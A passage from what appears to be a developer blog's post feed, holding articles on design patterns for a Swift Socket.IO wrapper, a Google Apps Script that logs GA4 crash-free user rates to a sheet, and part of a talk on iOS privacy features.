scenarios.BackgroundOrganizational StructureThis year, the company split into Feature Teams (multiple) and Platform Team; the former mainly focuses on user-side requirements, while the Platform Team deals with internal members of the company. One of their tasks is to introduce technology, build infrastructure, and ensure systematic integration to pave the way for Feature Teams when developing requirements.Current RequirementThe Feature Teams needed to change the original messaging feature (fetching message data by calling APIs on the page, requiring a refresh for the latest messages) to real-time communication (receiving the latest messages instantly, and sending messages).Platform Team’s WorkThe Platform Team’s focus was not only on the immediate real-time communication requirement but also on long-term development and reusability. After evaluation, it was deemed essential to have a WebSocket bidirectional communication mechanism in modern apps. Apart from the current requirement, there will be many future opportunities to use this mechanism. With the available resources, efforts were put into designing and developing the interface.Goals: Encapsulate communication between Pinkoi Server Side and Socket.IO, including authentication logic Simplify Socket.IO operations, providing an extensible and user-friendly interface based on Pinkoi’s business requirements Standardize the interface for both platforms (Socket.IO’s Android and iOS Client Side Libraries have different functionalities and interfaces) Feature side does not need to understand Socket.IO mechanisms Feature side does not need to manage complex connection states Future bidirectional communication requirements using WebSocket can be directly implementedTime and Resources: One developer each for iOS and Android Development timeline: 3 weeksTechnical DetailsThis Feature will be supported on Web, iOS, and Android platforms. WebSocket bidirectional communication protocol will be introduced for implementation, with the backend expected to directly use Socket.io service. Firstly, Socket != WebSocketFor more information on Socket and WebSocket and technical details, refer to the following two articles: Difference between Socket, WebSocket, and Socket.io Why not use socket directly and define a new websocket?In short:Socket is an abstract encapsulation interface for the TCP/UDP transport layer, while WebSocket is a transmission protocol at the application layer.The relationship between Socket and WebSocket is like that of a dog and a hot dog, they are unrelated.Socket.IO is a layer of abstract operation encapsulation for Engine.IO, which encapsulates the use of WebSocket. Each layer is only responsible for communication between the upper and lower layers and does not allow operations to pass through (e.g. Socket.IO directly operating WebSocket connections).In addition to basic WebSocket connections, Socket.IO/Engine.IO also implements many convenient and useful feature sets (e.g. offline event sending mechanism, similar to HTTP request mechanism, room/group mechanism, etc.).The main responsibility of the Platform Team is to bridge the logic between Socket.IO and Pinkoi Server Side for use by the upper Feature Teams during development.Socket.IO Swift Client has pitfalls Has not been updated for a long time (latest version is still in 2019), unsure if it is still being maintained. Client & Server Side Socket IO Version must be aligned, Server Side can add {allowEIO3: true} / or Client Side specify the same version .version Otherwise, it won’t connect. Naming conventions, interfaces, and many examples on the official website do not match. Socket.IO official website examples are based on web, but in reality, the Swift Client may not fully support the functionalities written on the website. In this implementation, we found that the iOS library did not implement the offline event sending mechanism(we implemented it ourselves, please continue reading) It is recommended to experiment with the mechanisms you want to use before adopting Socket.IO. Socket.IO Swift Client is based on Starscream WebSocket Library, and can be downgraded to use Starscream if necessary.Background information supplement ends here, let's move on to the main topic.Design PatternsDesign patterns are simply solutions to common problems in software design. You don’t necessarily have to use design patterns to develop; design patterns may not be applicable to all scenarios, and there’s no rule against deriving new design patterns on your own.The Catalog of Design PatternsHowever, existing design patterns (The 23 Gang of Four Design Patterns) are common knowledge in software design. Just mentioning an XXX Pattern will trigger a corresponding mental blueprint in everyone’s mind, without the need for much explanation. It is easier to understand the context for future maintenance, and these methods have been validated by the industry, so there’s no need to spend time examining object dependency issues. Choosing the right pattern for the right scenario can reduce communication and maintenance costs, and improve development efficiency. Design patterns can be combined, but it is not recommended to modify existing design patterns, forcibly apply patterns that do not fit, or apply patterns that do not belong to the category (e.g. using the Chain of Responsibility pattern to create objects), as it may lose its meaning and potentially cause misunderstandings for future maintainers.Design Patterns mentioned in this article: Singleton Pattern Flyweight Pattern Factory Pattern Command Pattern Finite-State Machine + State Pattern Chain Of Responsibility Builder PatternI will translate the content into English: This article focuses on the application of Design Patterns, not the operation of Socket.IO. Some examples may be simplified for descriptive purposes and may not be applicable to real Socket.IO encapsulation. Due to space limitations, this article will not provide detailed introductions to the architecture of each design pattern. Please click on the links for each pattern to understand its architecture before continuing to read. Demo Code will be written in Swift.Scenario 1.What? Reuse the same Path to obtain the same object when requesting a Connection on different pages or Objects. The Connection should be an abstract interface and should not directly depend on the Socket.IO Object.Why? Reduce memory overhead and the time and cost of repeated connections. Reserve space for future replacement with other frameworks.How? Singleton Pattern: A creational pattern that ensures only one instance of an object. Flyweight Pattern: A structural pattern that shares the state of multiple objects and reuses them. Factory Pattern: A creational pattern that provides a method for creating abstract objects, allowing them to be swapped externally.Real-world usage: Singleton Pattern: ConnectionManager exists as a single object in the App Lifecycle, used to manage Connection operations. Flyweight Pattern: ConnectionPool is a shared pool of Connections, where Connections are retrieved from this pool, and the logic includes providing an existing Connection when the URL Path matches.ConnectionHandler acts as an external operator and state manager for Connection. Factory Pattern: ConnectionFactory works with the Flyweight Pattern. When no reusable Connection is found in the pool, this factory interface is used to create one.import Combineimport Foundationprotocol Connection { var url: URL {get} var id: UUID {get} init(url: URL) func connect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}protocol ConnectionFactory { func create(url: URL) -> Connection}class ConnectionPool { private let connectionFactory: ConnectionFactory private var connections: [Connection] = [] init(connectionFactory: ConnectionFactory) { self.connectionFactory = connectionFactory } func getOrCreateConnection(url: URL) -> Connection { if let connection = connections.first(where: { $0.url == url }) { return connection } else { let connection = connectionFactory.create(url: url) connections.append(connection) return connection } } }class ConnectionHandler { private let connection: Connection init(connection: Connection) { self.connection = connection } func getConnectionUUID() -> UUID { return connection.id }}class ConnectionManager { static let shared = ConnectionManager(connectionPool: ConnectionPool(connectionFactory: SIOConnectionFactory())) private let connectionPool: ConnectionPool private init(connectionPool: ConnectionPool) { self.connectionPool = connectionPool } // func requestConnectionHandler(url: URL) -> ConnectionHandler { let connection = connectionPool.getOrCreateConnection(url: url) return ConnectionHandler(connection: connection) }}// Socket.IO Implementationclass SIOConnection: Connection { let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { // } func disconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}class SIOConnectionFactory: ConnectionFactory { func create(url: URL) -> Connection { // return SIOConnection(url: url) }}//print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/1\")!).getConnectionUUID().uuidString)print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/1\")!).getConnectionUUID().uuidString)print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: \"wss://pinkoi.com/2\")!).getConnectionUUID().uuidString)// output:// D99F5429-1C6D-4EB5-A56E-9373D6F37307// D99F5429-1C6D-4EB5-A56E-9373D6F37307// 599CF16F-3D7C-49CF-817B-5A57C119FE31Scenario 2.What?As mentioned in the background technical details, the Send Event of the Socket.IO Swift Client does not support offline sending (but the Web/Android versions of the library do), so iOS needs to implement this feature on its own.Interestingly, the Socket.IO Swift Client - onEvent supports offline subscription.Why? Unified cross-platform functionality Easy-to-understand codeHow? Command Pattern: A behavioral pattern that encapsulates operations into objects, providing a collection of operations such as queuing, delaying, canceling, etc. Command Pattern: SIOManager is the lowest-level encapsulation for communicating with Socket.IO, where the send and request methods are operations for Socket.IO Send Event. When the current Socket.IO is found to be disconnected, the request parameters are placed in bufferedCommands, and when connected, they are processed one by one (First In First Out).protocol BufferedCommand { var sioManager: SIOManagerSpec? { get set } var event: String { get } func execute()}struct SendBufferedCommand: BufferedCommand { let event: String weak var sioManager: SIOManagerSpec? func execute() { sioManager?.send(event) }}struct RequestBufferedCommand: BufferedCommand { let event: String let callback: (Data?) -> Void weak var sioManager: SIOManagerSpec? func execute() { sioManager?.request(event, callback: callback) }}protocol SIOManagerSpec: AnyObject { func connect() func disconnect() func onEvent(event: String, callback: @escaping (Data?) -> Void) func send(_ event: String) func request(_ event: String, callback: @escaping (Data?) -> Void)}enum ConnectionState { case created case connected case disconnected case reconnecting case released}class SIOManager: SIOManagerSpec { var state: ConnectionState = .disconnected { didSet { if state == .connected { executeBufferedCommands() } } } private var bufferedCommands: [BufferedCommand] = [] func connect() { state = .connected } func disconnect() { state = .disconnected } func send(_ event: String) { guard state == .connected else { appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self)) return } print(\"Send:\\(event)\") } func request(_ event: String, callback: @escaping (Data?) -> Void) { guard state == .connected else { appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self)) return } print(\"request:\\(event)\") } func onEvent(event: String, callback: @escaping (Data?) -> Void) { // } func appendBufferedCommands(connectionCommand: BufferedCommand) { bufferedCommands.append(connectionCommand) } func executeBufferedCommands() { // First in, first out bufferedCommands.forEach { connectionCommand in connectionCommand.execute() } bufferedCommands.removeAll() } func removeAllBufferedCommands() { bufferedCommands.removeAll() }}let manager = SIOManager()manager.send(\"send_event_1\")manager.send(\"send_event_2\")manager.request(\"request_event_1\") { _ in //}manager.state = .connectedSimilarly, this can also be implemented on onEvent.Extension: You can further apply the Proxy Pattern to treat Buffer functionality as a type of Proxy.Scenario 3.What?The Connection has multiple states, with ordered states and transitions between states, allowing different operations in each state. Created: Object is created, allowing transition to Connected or directly to Disconnected Connected: Connected to Socket.IO, allowing transition to Disconnected Disconnected: Disconnected from Socket.IO, allowing transition to Reconnectiong or Released Reconnectiong: Attempting to reconnect to Socket.IO, allowing transition to Connected or Disconnected Released: Object marked for pending memory release, no operations or state transitions allowedWhy? The logic and representation of state transitions are not straightforward Restricting operations in each state (e.g., State = Released cannot Call Send Event) using if…else directly makes the code hard to maintain and readHow? Finite State Machine: Manages transitions between states State Pattern: Behavioral Pattern, provides different responses when the object’s state changes Finite State Machine: SIOConnectionStateMachine implements the state machine, currentSIOConnectionState represents the current state, and created, connected, disconnected, reconnecting, released list the possible state transitions of this state machine. enterXXXState() throws implements the allowed and disallowed (throw error) actions when transitioning from the Current State to a specific state. State Pattern: SIOConnectionState is the interface abstraction for all operations that states may use.// Code block translated comments only, code remains in EnglishCombining scenarios 1 and 2, with the ConnectionPool flyweight pool and State Pattern state management; we continue to extend as described in the background goals, the Feature side does not need to worry about the connection mechanism behind the Connection; therefore, we have created a poller (named ConnectionKeeper) that will periodically scan the ConnectionPool for actively held Connection and perform operations when the following conditions occur: If a Connection is in use and the state is not Connected: change the state to Reconnecting and attempt to reconnect. If a Connection is not in use and the state is Connected: change the state to Disconnected. If a Connection is not in use and the state is Disconnected: change the state to Released and remove it from the ConnectionPool.Why? The three operations have a logical order and are mutually exclusive (disconnected -> released or reconnecting). Flexibility to swap and add operational scenarios. Without encapsulation, one would have to directly write the three checks and operations in a method (difficult to test the logic within). e.g.:if !connection.isOccupied() && connection.state == .connected then... connection.disconnected()else if !connection.isOccupied() && state == .released then... connection.release()else if connection.isOccupied() && state == .disconnected then... connection.reconnecting()endHow? Chain Of Responsibility: A behavioral pattern, as the name suggests, is a chain where each node has corresponding operations. After inputting data, a node can decide whether to operate or pass it to the next node for processing. Another real-world application is the iOS Responder Chain. By definition, the Chain of Responsibility Pattern does not allow a node to take over processing data and then pass it to the next node to continue processing. Either do it completely or don’t do it at all. If the above scenario is more suitable, it should be the Interceptor Pattern. Chain of responsibility: ConnectionKeeperHandler is an abstract node of the chain, specifically extracting the canExecute method to avoid the situation where this node takes over processing but then wants to call the next node to continue execution, handle connects the nodes in the chain, and execute is the logic of how to handle the processing.ConnectionKeeperHandlerContext is used to store data that will be used, isOccupied indicates whether the Connection is in use.enum ConnectionState { case created case connected case disconnected case reconnecting case released}protocol Connection { var connectionState: ConnectionState {get} var url: URL {get} var id: UUID {get} init(url: URL) func connect() func reconnect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}// Socket.IO Implementationclass SIOConnection: Connection { let connectionState: ConnectionState = .created let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { // } func disconnect() { // } func reconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}//struct ConnectionKeeperHandlerContext { let connection: Connection let isOccupied: Bool}protocol ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? { get set } func handle(context: ConnectionKeeperHandlerContext) func execute(context: ConnectionKeeperHandlerContext) func canExecute(context: ConnectionKeeperHandlerContext) -> Bool}extension ConnectionKeeperHandler { func handle(context: ConnectionKeeperHandlerContext) { if canExecute(context: context) { execute(context: context) } else { nextHandler?.handle(context: context) } }}class DisconnectedConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.disconnect() } func canExecute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .connected && !context.isOccupied { return true } return false }}class ReconnectConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.reconnect() } func canExecute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .disconnected && context.isOccupied { return true } return false }}class ReleasedConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.disconnect() } func canExecute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .disconnected && !context.isOccupied { return true } return false }}let connection = SIOConnection(url: URL(string: \"wss://pinkoi.com\")!)let disconnectedHandler = DisconnectedConnectionKeeperHandler()let reconnectHandler = ReconnectConnectionKeeperHandler()let releasedHandler = ReleasedConnectionKeeperHandler()disconnectedHandler.nextHandler = reconnectHandlerreconnectHandler.nextHandler = releasedHandlerdisconnectedHandler.handle(context: ConnectionKeeperHandlerContext(connection: connection, isOccupied: false))Requirement Scenario 4.What?We need to go through the setup of the Connection we encapsulated before using it, such as providing the URL Path, setting Config, etc.Why? Flexibility to add or remove building interfaces Reusability of building logic Without encapsulation, external entities can operate on classes unexpectedly e.g.:❌let connection = Connection()connection.send(event) // unexpected method call, should call .connect() first✅let connection = Connection()connection.connect()connection.send(event)// but...who knows???How? Builder Pattern: A creational pattern that allows step-by-step construction of objects and reuses construction methods. Builder Pattern: SIOConnectionBuilder is the builder for Connection, responsible for setting and storing data needed to build Connection; ConnectionConfiguration abstract interface ensures that .connect() must be called before using Connection to get the Connection instance.enum ConnectionState { case created case connected case disconnected case reconnecting case released}protocol Connection { var connectionState: ConnectionState {get} var url: URL {get} var id: UUID {get} init(url: URL) func connect() func reconnect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}// Socket.IO Implementationclass SIOConnection: Connection { let connectionState: ConnectionState = .created let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { // } func disconnect() { // } func reconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}//class SIOConnectionClient: ConnectionConfiguration { private let url: URL private let config: [String: Any] init(url: URL, config: [String: Any]) { self.url = url self.config = config } func connect() -> Connection { // set config return SIOConnection(url: url) }}protocol ConnectionConfiguration { func connect() -> Connection}class SIOConnectionBuilder { private(set) var config: [String: Any] = [:] func setConfig(_ config: [String: Any]) -> SIOConnectionBuilder { self.config = config return self } // url is required parameter func build(url: URL) -> ConnectionConfiguration { return SIOConnectionClient(url: url, config: self.config) }}let builder = SIOConnectionBuilder().setConfig([\"test\":123])let connection1 = builder.build(url: URL(string: \"wss://pinkoi.com/1\")!).connect()let connection2 = builder.build(url: URL(string: \"wss://pinkoi.com/1\")!).connect()Extension: Here you can also apply the Factory Pattern, to produce SIOConnection using a factory.End!The above are the four scenarios encountered in encapsulating Socket.IO and the seven Design Patterns used to solve the problems.Finally, here is the complete design blueprint for encapsulating Socket.IOContrary to the naming and demonstration in the text, this image represents the actual design architecture; there may be an opportunity for the original designer to share design concepts and open source the project.Who?Who designed these and is responsible for the Socket.IO encapsulation project?Sean Zheng, Android Engineer @ PinkoiMain architect, evaluation and application of Design Patterns, implementation of design in Kotlin on the Android side.ZhgChgLi, Enginner Lead/iOS Enginner @ PinkoiProject lead of the Platform Team, Pair programming, implementation of design in Swift on the iOS side, discussion and raising questions (a.k.a. speaking up), and finally writing this article to share with everyone.Further Reading Practical application records of Design Patterns — In WKWebView with Builder, Strategy & Chain of Responsibility Pattern Visitor Pattern in Swift (Share Object to XXX Example) Visitor Pattern in TableViewIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Crashlytics + Google Analytics Automatically Query App Crash-Free Users Rate", "url": "/posts/793cb8f89b72/", "categories": "ZRealm, Dev.", "tags": "crashlytics, ios-app-development, google-analytics, google-apps-script, google-sheets", "date": "2021-11-21 22:47:10 +0800", "snippet": "Crashlytics + Google Analytics Automatically Query App Crash-Free Users RateUsing Google Apps Script to query Crashlytics through Google Analytics and automatically fill it into Google Sheet In th...", "content": "Crashlytics + Google Analytics Automatically Query App Crash-Free Users RateUsing Google Apps Script to query Crashlytics through Google Analytics and automatically fill it into Google Sheet In the previous article, “Crashlytics + Big Query to Create a More Real-Time and Convenient Crash Tracking Tool”, we exported Crashlytics crash records as Raw Data to Big Query and used Google Apps Script to automatically schedule queries for the Top 10 Crashes & post messages to the Slack Channel.This article continues to automate an important metric related to app crashes — Crash-Free Users Rate, the percentage of users not affected by crashes. Many app teams continuously track and record this metric, which was traditionally done manually. The goal here is to automate this repetitive task and avoid potential errors in manual data entry. As mentioned earlier, Firebase Crashlytics does not provide any API for querying, so we need to connect Firebase data to other Google services and then use those service APIs to query the relevant data.Initially, I thought this data could also be queried from Big Query; however, this approach is entirely wrong because Big Query contains Raw Data of crashes and does not include data of users who did not experience crashes, making it impossible to calculate the Crash-Free Users Rate. There is limited information on this requirement online, and after extensive searching, I found a mention of Google Analytics. I knew that Firebase’s Analytics and Events could be connected to GA for queries, but I did not expect the Crash-Free Users Rate to be included. After reviewing GA’s API, Bingo!API Dimensions & MetricsGoogle Analytics Data API (GA4) provides two metrics: crashAffectedUsers: The number of users affected by crashes crashFreeUsersRate: The percentage of users not affected by crashes (expressed as a decimal)Knowing the way forward, we can start implementing it!Connect Firebase -> Google AnalyticsYou can refer to the official instructions for setup steps, which are omitted here.GA4 Query Explorer ToolBefore writing code, we can use the Web GUI Tool provided by the official site to quickly build query conditions and obtain query results. Once the results are as desired, we can start writing code.Go to »> GA4 Query Explorer Remember to select GA4 in the top left corner. After logging in with your account on the right, choose the corresponding GA Account & Property. Start Date, End Date: You can directly enter the date or use special variables to represent the date (yesterday, today, 30daysAgo, 7daysAgo). metrics: Add crashFreeUsersRate. dimensions: Add platform (device type iOS/Android/Desktop…). dimension filter: Add platform, string, exact, iOS or Android.Query the Crash Free Users Rate for both platforms separately.Scroll to the bottom and click “Make Request” to view the results. We can get the Crash-Free Users Rate within the specified date range. You can go back and open Firebase Crashlytics to compare if the data under the same conditions is the same. It has been observed that there might be slight differences in numbers between the two (we had a difference of 0.0002 in one number), the reason is unknown, but it is within an acceptable error range. If you consistently use GA Crash-Free Users Rate, it cannot be considered an error.Using Google Apps Script to Automatically Fill Data into Google SheetNext is the automation part. We will use Google Apps Script to query GA Crash-Free Users Rate data and automatically fill it into our Google Sheet, achieving the goal of automatic filling and tracking.Assume our Google Sheet is as shown above.You can click Extensions -> Apps Script at the top of Google Sheet to create a Google Apps Script or click here to go to Google Apps Script -> click “New Project” at the top left.After entering, you can click the unnamed project name at the top to give it a project name.In the “Services” on the left, click “+” to add “Google Analytics Data API”.Go back to the GA4 Query Explorer tool, and next to the Make Request button, you can check “Show Request JSON” to get the Request JSON for these conditions.Convert this Request JSON into Google Apps Script as follows:// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property idconst propertyId = \"\";// https://docs.google.com/spreadsheets/d/googleSheetID/const googleSheetID = \"\";// Google Sheet nameconst googleSheetName = \"App Crash-Free Users Rate\";function execute() { Logger.log(fetchCrashFreeUsersRate())}function fetchCrashFreeUsersRate(platform = \"ios\", startDate = \"30daysAgo\", endDate = \"today\") { const dimensionPlatform = AnalyticsData.newDimension(); dimensionPlatform.name = \"platform\"; const metric = AnalyticsData.newMetric(); metric.name = \"crashFreeUsersRate\"; const dateRange = AnalyticsData.newDateRange(); dateRange.startDate = startDate; dateRange.endDate = endDate; const filterExpression = AnalyticsData.newFilterExpression(); const filter = AnalyticsData.newFilter(); filter.fieldName = \"platform\"; const stringFilter = AnalyticsData.newStringFilter() stringFilter.value = platform; stringFilter.matchType = \"EXACT\"; filter.stringFilter = stringFilter; filterExpression.filter = filter; const request = AnalyticsData.newRunReportRequest(); request.dimensions = [dimensionPlatform]; request.metrics = [metric]; request.dateRanges = dateRange; request.dimensionFilter = filterExpression; const report = AnalyticsData.Properties.runReport(request, \"properties/\" + propertyId); return parseFloat(report.rows[0].metricValues[0].value) * 100;} GA Property ID: You can also obtain it from the GA4 Query Explorer tool:In the initial Property selection menu, the number below the selected Property is the propertyId. googleSheetID: You can obtain it from the Google Sheet URL https://docs.google.com/spreadsheets/d/ googleSheetID /edit googleSheetName: The name of the Sheet in Google Sheets that records crash dataPaste the above code into the Google Apps Script code block on the right & select the “execute” function from the method dropdown at the top. Then click Debug to test if the data can be retrieved correctly:The first time you run it, an authorization request window will appear:Follow the steps to complete account authorization.If the execution is successful, the Crash-Free Users Rate will be printed in the Log below, indicating a successful query.Next, we just need to add automatic filling into Google Sheets to complete the task!Complete Code:// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property idconst propertyId = \"\";// https://docs.google.com/spreadsheets/d/googleSheetID/const googleSheetID = \"\";// Google Sheet nameconst googleSheetName = \"\";function execute() { const today = new Date(); const daysAgo7 = new Date(new Date().setDate(today.getDate() - 6)); // Today is not counted, so it's -6 const spreadsheet = SpreadsheetApp.openById(googleSheetID); const sheet = spreadsheet.getSheetByName(googleSheetName); var rows = []; rows[0] = Utilities.formatDate(daysAgo7, \"GMT+8\", \"MM/dd\")+\"~\"+Utilities.formatDate(today, \"GMT+8\", \"MM/dd\"); rows[1] = fetchCrashFreeUsersRate(\"ios\", Utilities.formatDate(daysAgo7, \"GMT+8\", \"yyyy-MM-dd\"), Utilities.formatDate(today, \"GMT+8\", \"yyyy-MM-dd\")); rows[2] = fetchCrashFreeUsersRate(\"android\", Utilities.formatDate(daysAgo7, \"GMT+8\", \"yyyy-MM-dd\"), Utilities.formatDate(today, \"GMT+8\", \"yyyy-MM-dd\")); sheet.appendRow(rows);}function fetchCrashFreeUsersRate(platform = \"ios\", startDate = \"30daysAgo\", endDate = \"today\") { const dimensionPlatform = AnalyticsData.newDimension(); dimensionPlatform.name = \"platform\"; const metric = AnalyticsData.newMetric(); metric.name = \"crashFreeUsersRate\"; const dateRange = AnalyticsData.newDateRange(); dateRange.startDate = startDate; dateRange.endDate = endDate; const filterExpression = AnalyticsData.newFilterExpression(); const filter = AnalyticsData.newFilter(); filter.fieldName = \"platform\"; const stringFilter = AnalyticsData.newStringFilter() stringFilter.value = platform; stringFilter.matchType = \"EXACT\"; filter.stringFilter = stringFilter; filterExpression.filter = filter; const request = AnalyticsData.newRunReportRequest(); request.dimensions = [dimensionPlatform]; request.metrics = [metric]; request.dateRanges = dateRange; request.dimensionFilter = filterExpression; const report = AnalyticsData.Properties.runReport(request, \"properties/\" + propertyId); return parseFloat(report.rows[0].metricValues[0].value) * 100;}Click “Run or Debug” above to execute “execute”.Go back to Google Sheet, data added successfully!Add Trigger to Schedule Automatic ExecutionSelect the clock button on the left -> Bottom right “+ Add Trigger”. For the first function, select “execute” For time-based trigger, you can choose week timer to track & add data once a weekClick Save after setting.DoneFrom now on, recording and tracking App Crash-Free Users Rate data is fully automated; no manual query & input needed; everything is handled automatically by the machine! We only need to focus on solving App Crash issues! p.s. Unlike the previous article using Big Query which costs money to query data, querying Crash-Free Users Rate and using Google Apps Script in this article are completely free, so feel free to use them.If you want to sync the results to a Slack Channel, refer to the previous article:Further Reading Ultimate Beginner’s Guide to Google Analytics 4 (NEW 2023 Interface) (Thanks to Emma for providing the information) Crashlytics + Big Query to Create a More Real-time and Convenient Crash Tracking Tool Using Python + Google Cloud Platform + Line Bot to Automate Routine Tasks Creating a Fully Automated WFH Employee Health Status Reporting System with Slack Using Google Apps Script to Forward Gmail Emails to SlackIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "The Past and Present of iOS Privacy and Convenience", "url": "/posts/9a05f632eba0/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, privacy, private-relay, apple-privacy, mopcon", "date": "2021-10-24 09:15:55 +0800", "snippet": "The Past and Present of iOS Privacy and ConvenienceApple’s privacy principles and the adjustments to privacy protection features in iOS over the yearsTheme by slidego[2023–08–01] iOS 17 UpdateSuppl...", "content": "The Past and Present of iOS Privacy and ConvenienceApple’s privacy principles and the adjustments to privacy protection features in iOS over the yearsTheme by slidego[2023–08–01] iOS 17 UpdateSupplementary updates on iOS 17 privacy-related adjustments from the previous presentation.Link Tracking ProtectionSafari will automatically remove tracking parameters from URLs (e.g., fbclid, gclid…) Example: https://zhgchg.li/post/1?gclid=124 will become https://zhgchg.li/post/1 after clicking. Currently testing iOS 17 Developer Beta 4, fbxxx, gcxxx, etc., will be removed, but utm_ is retained; it’s uncertain if the official iOS 17 or future iOS 18 will further enhance this. For the strictest scenario, you can install the iOS DuckDuckGo browser for testing. For detailed testing, please refer to the article “iOS17 Safari’s new feature will remove fbclid and gclid from URLs”.Privacy Manifest .xprivacy & ReportDevelopers need to declare the use of User Privacy, and also require any used SDK to provide its Privacy Manifest.*Additionally, third-party SDK Signature has been addedXCode 15 can generate a Privacy Report through the Manifest for developers to set App privacy settings on the App Store.Required reason APITo prevent the misuse of certain Foundation APIs that could potentially lead to fingerprinting, Apple has started to regulate some Foundation APIs; a declaration of usage is required in the Manifest.Currently, the most affected API is UserDefault, which requires a declaration.Starting in Fall 2023, if you upload a new app or app update to App Store Connect that uses an API requiring a declaration (including content from third-party SDKs), and you do not provide an approved reason in the app's privacy list, you will receive a notification. Starting in Spring 2024, to upload new apps or app updates to App Store Connect, you will need to specify the approved reason in the app's privacy list to accurately reflect how your app uses the respective API.If the current scope of approved reasons does not cover a use case for an API requiring a declaration, and you believe this use case directly benefits your app users, please let us know.Tracking DomainAPIs that send tracking information need to declare the domain in the privacy manifest .xprivacy and can only initiate network requests after user consent for tracking; otherwise, all network requests to this domain will be intercepted by the system.You can check if the Tracking Domain is intercepted using the XCode Network tool:Currently, Facebook and Google’s Tracking Domains are detected and need to be listed as Tracking Domains and require permission. graph.facebook.com: Facebook-related data statistics app-measurement.com: Google-related data statistics: GA/Firebase…Therefore, please note that FB/Google data statistics may significantly drop after iOS 17, as data will not be received if permission is not asked or tracking is not allowed; based on past implementations of asking for tracking permission, about 70% of users will click not allow. Developers’ own API calls for tracking also need to follow the same regulations for Tracking Domains. If the Tracking Domain is the same as the API Domain, a separate Tracking Domain is required (e.g., api.zhgchg.li -> tracking.zhgchg.li). Currently, it is unclear how Apple will regulate developers’ own tracking; testing with XCode 15 did not detect any issues. It is unclear whether the official will use tools to detect behavior or if reviewers will manually check. Fingerprinting is still prohibited.IntroductionI am honored to participate in the MOPCON speech, but it is a pity that it has been changed to an online live broadcast due to the pandemic, and I cannot meet more new friends. The theme of this speech is “The Past and Present of iOS Privacy and Convenience,” mainly to share Apple’s principles on privacy and the functional adjustments iOS has made over the years based on these privacy principles.The Past and Present of iOS Privacy and Convenience | Pinkoi, We Are Hiring!In recent years, developers or iPhone users should be familiar with the following feature adjustments: iOS ≥ 13: All apps supporting third-party login must also implement Sign in with Apple, otherwise, they cannot be successfully listed on the App Store. iOS ≥ 14: Clipboard access warning. iOS ≥ 14.5: IDFA must be allowed before it can be accessed, which almost equates to blocking IDFA. iOS ≥ 15: Private Relay, using a proxy to hide the user’s original IP address. iOS ≥ 16: Clipboard access requires user authorization. … and many more, which will be shared with everyone at the end of the article.Why?If you are not familiar with Apple’s privacy principles, you might even wonder why Apple has been constantly opposing developers and advertisers in recent years. Many features that everyone is used to have been blocked.After going through “ WWDC 2021 — Apple’s privacy pillars in focus “ and “ Apple privacy white paper — A Day in the Life of Your Data “, it became clear that we have unknowingly leaked a lot of personal privacy, allowing advertisers or social media to profit immensely, infiltrating our daily lives.Referencing the Apple privacy white paper and rewriting it, let’s take the fictional character Harry as an example to illustrate how privacy is leaked and the potential harm it can cause.First is the usage record on Harry’s iPhone.On the left is the web browsing history: You can see visits to websites related to cars, iPhone 13, and luxury goods.On the right are the installed apps: There are investment, travel, social, shopping, and baby monitor apps.Harry’s offline lifeOffline activities leave records in places such as invoices, credit card transaction records, dashcams, etc.CombinationYou might think, how could different websites, different apps (even without logging in), and offline activities possibly allow a service to link all the data together?The answer is: technically, it is possible, and it “might” or “has already” happened partially.As shown in the image above: When not logged in, websites can identify the same visitor across different sites through Third-Party Cookies, IP Address + device information calculated Fingerprint. When logged in, websites can link your data through registration information such as name, birthday, phone number, email, ID number, etc. Apps can identify the same user across different apps through Device UUID, URL Scheme to sniff other installed apps on the phone, and Pasteboard to transfer data between apps. Additionally, registration information can also link data after the user logs in. Apps and websites can also use Third-Party Cookies, Fingerprint, and Pasteboard to transfer data. The connection between online and offline activities can occur when banks collect credit card transaction records, accounting apps, invoice collection apps, dashcam apps, etc., all have the opportunity to link offline activities with online data. It is technically feasible; so who are the third parties behind all the websites and apps?Large companies like Facebook and Google earn significant revenue from personal ads; many websites and apps also integrate Facebook and Google SDKs… so it’s hard to say. Often, we don’t even know 